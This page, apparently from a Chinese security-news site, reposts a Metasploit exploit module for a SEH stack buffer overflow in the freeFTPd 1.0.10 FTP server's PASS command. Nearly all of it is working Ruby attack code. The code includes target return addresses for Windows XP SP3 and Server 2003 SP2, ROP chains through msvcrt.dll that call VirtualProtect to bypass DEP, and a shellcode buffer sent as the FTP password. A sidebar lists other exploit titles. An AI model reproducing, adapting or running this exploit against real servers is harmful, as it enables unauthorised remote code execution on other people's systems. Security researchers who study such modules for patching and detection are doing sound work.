首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
freeFTPd 1.0.10 PASS Command SEH Overflow Vulnerability
来源:metasploit.com 作者:Ramli 发布时间:2013-09-22  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Ftp
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
      'Description'    => %q{
                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
                credit goes to Wireghoul.
  
      },
      'Author'         =>
        [
                    'Wireghoul - www.justanotherhacker.com', # original poc
          'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '96517' ],
          [ 'EDB', '27747' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh'
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 512,
          'BadChars' => "\x00\x20\x0a\x0d",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
                    # Windows XP (Build 2600, Service Pack 3) x86 - DEP Bypass
                    [ 'Windows XP Pro SP3 EN - DEP',   { 'Ret' => 0x00493EDE, 'Offset' => 952 } ], # ADD ESP, 46C
                    # Windows .NET Server (Build 3790, Service Pack 2) x86 - DEP Bypass
          [ 'Windows 2003 Server SP2 EN - DEP',   { 'Ret' => 0x00493EDE, 'Offset' => 797 } ], #ADD ESP 46C
                    # Wireghoul offset does not match mine, so using his offset as a credit to him
                    #[ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
                    [ 'Windows XP Pro SP3 EN',   { 'Ret' => 0x004142f0 , 'Offset' => 797 } ],
        ],
      'DisclosureDate' => 'Aug 21 2013',
      'DefaultTarget' => 0))
  end
  
  def check
    connect
    disconnect
  
    if (banner =~ /freeFTPd 1.0/)
      return Exploit::CheckCode::Vulnerable
    end
    Exploit::CheckCode::Safe
  end
  
  def exploit
    connect
  
        buf = rand_text_english(1000)
  
        case target_index()
            when 0
                print_status("Target ID: #{target.name}")
      
                # rop skeleton using mona.py
                rop =
                [
                    0x77c23960,  # POP EBP # RETN [msvcrt.dll]
                    0x77c23960,  # skip 4 bytes [msvcrt.dll]
                    #----------avoid null byte----------------
                    0x77c53436,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DE,  # EBX = 0x042444DE
                    0x77c4d04e,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB62,  # EDX = 0xFBDBBB62
                    0x77c2c7ae,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0xFBDBBB62 (EDX) + 0x042444DE (EBX) = 0x00000040
                    0xFBDBBD23,  # EBX = 0xFBDBBD23
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c4e392,  # POP EAX # RETN
                    0x042444DE,  # EAX = 0x042444DE
                    0x77c50c77,  # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN
                                 # 0xFBDBBD23 (EBX) + 0x042444DE (EAX) = 0x00000201
                    #-----------------------------------------
                    0x77c3b1ad,  # POP ECX # RETN [msvcrt.dll]
                    0x77c62f18,  # &Writable location [msvcrt.dll]
                    0x77c46116,  # POP EDI # RETN [msvcrt.dll]
                    0x77c46101,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77c2eb03,  # POP ESI # RETN [msvcrt.dll]
                    0x77c2aacc,  # JMP [EAX] [msvcrt.dll]
                    0x77c21d16,  # POP EAX # RETN [msvcrt.dll]
                    0x77c11120,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77c12df9,  # PUSHAD # RETN [msvcrt.dll]
                    0x77c35524,  # ptr to 'push esp # ret ' [msvcrt.dll]
                ].flatten.pack("V*")
  
                rop << make_nops(32)
                rop << payload.encoded
  
                buf[12,rop.length] = rop
                  
            when 1
                print_status("Target ID: #{target.name}")
  
                # rop skeleton using mona.py
                rop =
                [
                    0x77bb2563,  # POP EAX # RETN [msvcrt.dll]
                    0x77ba1114,  # ptr to &VirtualProtect() [IAT msvcrt.dll]
                    0x77bbf244,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
                    0x41414141,  # Filler (compensate)
                    0x77bb0c86,  # XCHG EAX,ESI # RETN [msvcrt.dll]
                    0x77bac27e,  # POP EBP # RETN [msvcrt.dll]
                    0x77be2265,  # & push esp # ret  [msvcrt.dll]
                    #----------avoid null byte------------------
                    0x77be1ef3,  # POP EDX # RETN [msvcrt.dll]
                    0xFBDBBB63,  # 0x00000040-> edx
                    0x77bcb691,  # POP EBX # RETN [msvcrt.dll]
                    0x042444DD,  # EBX = 0x042444DD
                    0x77bbd50e,  # ADD EDX,EBX # POP EBX # RETN 0x10
                                 # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
                    0xFBDBBD23,  # EBX** = 0xFBDBBD23
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BDFE3E,  # RETN (ROP NOP)
                    0x77BC541C,  # XOR EAX,EAX # INC EAX # RETN
                    0x77be2219,  # ADD EAX,42444DD # RETN
                    0x77BDFE37,  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                 # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
                    #-------------------------------------------
                    0x77bcadff,  # POP ECX # RETN [msvcrt.dll]
                    0x77bf2cfc,  # &Writable location [msvcrt.dll]
                    0x77bd88b8,  # POP EDI # RETN [msvcrt.dll]
                    0x77bd8c05,  # RETN (ROP NOP) [msvcrt.dll]
                    0x77be3adb,  # POP EAX # RETN [msvcrt.dll]
                    0x90909090,  # nop
                    0x77be6591,  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
                ].flatten.pack("V*")
  
                rop << make_nops(32)
                rop << payload.encoded
  
                buf[49+40,rop.length] = rop
  
            when 2
                print_status("Target ID: #{target.name}")
  
                buf[(target['Offset']-11) - payload.encoded.length, payload.encoded.length] = payload.encoded
                buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
                buf[target['Offset'],4]   = [0xfffff9eb].pack("V")
        end
  
        buf[target['Offset']+4,4] = [target.ret].pack('V')
  
    print_status("Sending exploit buffer...")
        send_user(datastore['FTPUSER'])
        send_pass(buf)
  
    handler
    disconnect
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·A-PDF WAV to MP3 1.0.0 Buffer
·GLPI install.php Remote Comman
·OpenEMR 4.1.1 Patch 14 SQLi Pr
·Linksys WRT110 Remote Command
·Western Digital Arkeia Remote
·CA BrightStor ARCserve Tape En
·McKesson ActiveX File/Environm
·PCMAN FTP Server Post-Authenti
·TeraCopy 2.3 (default.mo) Lang
·MS13-069 Microsoft Internet Ex
·Vino VNC Server 3.7.3 - Persis
·MS13-071 Microsoft Windows The
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved